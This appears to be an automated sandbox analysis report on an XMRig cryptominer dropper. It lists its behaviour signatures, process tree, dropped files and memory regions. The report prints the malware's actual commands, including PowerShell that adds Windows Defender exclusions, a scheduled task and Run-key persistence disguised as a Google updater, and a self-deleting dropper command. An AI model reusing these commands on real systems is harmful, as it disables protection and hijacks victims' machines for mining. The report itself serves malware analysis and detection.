Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1827s
  • max time network
    1842s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2168
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5116
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1984
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1724
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:2880
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:404
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2268
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2364
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:4968
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:1956
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe qtdiqnkejoz
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              PID:2852
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4756
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:4972

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 333KB
                • SHA256 91bdee3f2cd4d1badb33391885f7aea8f6751856d8671dba62e9f6243405fd14
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.9MB
                • SHA256 e8e1e6c53229f3f995a5973e47d027bd103eb2ac66cef9bf5525dcc20ac86efa
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 1f671b5222690164e6b13566e19bf197d2499c512f0bdfeaab9b52512133b302
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_0lfszjii.xqg.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0lfszjii.xqg.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/404-82-0x0000015AF5B60000-0x0000015AF5B68000-memory.dmp

                memory/404-77-0x0000015AF5A00000-0x0000015AF5A0A000-memory.dmp

                memory/404-83-0x0000015AF5B90000-0x0000015AF5B96000-memory.dmp

                memory/404-88-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/404-84-0x0000015AF5BA0000-0x0000015AF5BAA000-memory.dmp

                memory/404-80-0x0000015AF5B50000-0x0000015AF5B5A000-memory.dmp

                memory/404-78-0x0000015AF5B70000-0x0000015AF5B8C000-memory.dmp

                memory/404-64-0x0000015AF34A0000-0x0000015AF34B0000-memory.dmp

                memory/404-76-0x0000015AF5940000-0x0000015AF59F5000-memory.dmp

                memory/404-75-0x0000015AF5920000-0x0000015AF593C000-memory.dmp

                memory/404-65-0x0000015AF34A0000-0x0000015AF34B0000-memory.dmp

                memory/404-85-0x0000015AF34A0000-0x0000015AF34B0000-memory.dmp

                memory/404-81-0x0000015AF5BB0000-0x0000015AF5BCA000-memory.dmp

                memory/404-53-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/404-54-0x0000015AF34A0000-0x0000015AF34B0000-memory.dmp

                memory/1724-51-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/1724-47-0x0000024340B60000-0x0000024340B70000-memory.dmp

                memory/1724-37-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/2168-12-0x00007FF73F310000-0x00007FF73F521000-memory.dmp

                memory/2168-0-0x00007FF73F310000-0x00007FF73F521000-memory.dmp

                memory/2168-36-0x00007FF73F310000-0x00007FF73F521000-memory.dmp

                memory/2268-114-0x0000024C70810000-0x0000024C708C5000-memory.dmp

                memory/2268-102-0x0000024C6E400000-0x0000024C6E410000-memory.dmp

                memory/2268-118-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/2268-116-0x0000024C6E400000-0x0000024C6E410000-memory.dmp

                memory/2268-115-0x0000024C6E400000-0x0000024C6E410000-memory.dmp

                memory/2268-113-0x00007FF474F30000-0x00007FF474F40000-memory.dmp

                memory/2268-100-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/2268-101-0x0000024C6E400000-0x0000024C6E410000-memory.dmp

                memory/2268-103-0x0000024C6E400000-0x0000024C6E410000-memory.dmp

                memory/2364-134-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-163-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-189-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-187-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-185-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-183-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-181-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-179-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-177-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-175-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-123-0x000002758EA60000-0x000002758EA80000-memory.dmp

                memory/2364-173-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-171-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-124-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-169-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-128-0x000002759EFB0000-0x000002759EFF0000-memory.dmp

                memory/2364-130-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-167-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-132-0x000002759F600000-0x000002759F620000-memory.dmp

                memory/2364-131-0x000002758EAE0000-0x000002758EB00000-memory.dmp

                memory/2364-165-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-135-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-161-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-137-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-139-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-140-0x000002758EAE0000-0x000002758EB00000-memory.dmp

                memory/2364-141-0x000002759F600000-0x000002759F620000-memory.dmp

                memory/2364-143-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-145-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-147-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-149-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-151-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-153-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-155-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-157-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2364-159-0x00007FF6549E0000-0x00007FF6551D4000-memory.dmp

                memory/2852-129-0x00007FF601610000-0x00007FF601626000-memory.dmp

                memory/2852-136-0x00007FF601610000-0x00007FF601626000-memory.dmp

                memory/4312-11-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/4312-10-0x0000017B70EB0000-0x0000017B70ED2000-memory.dmp

                memory/4312-17-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/4312-13-0x0000017B71430000-0x0000017B71440000-memory.dmp

                memory/4312-14-0x0000017B71430000-0x0000017B71440000-memory.dmp

                memory/4756-79-0x00007FF78BFB0000-0x00007FF78C1C1000-memory.dmp

                memory/4756-122-0x00007FF78BFB0000-0x00007FF78C1C1000-memory.dmp

                memory/4756-52-0x00007FF78BFB0000-0x00007FF78C1C1000-memory.dmp

                memory/5116-34-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/5116-32-0x000001B54AFF0000-0x000001B54B000000-memory.dmp

                memory/5116-19-0x00007FF8A6A60000-0x00007FF8A7521000-memory.dmp

                memory/5116-21-0x000001B54AFF0000-0x000001B54B000000-memory.dmp

                memory/5116-20-0x000001B54AFF0000-0x000001B54B000000-memory.dmp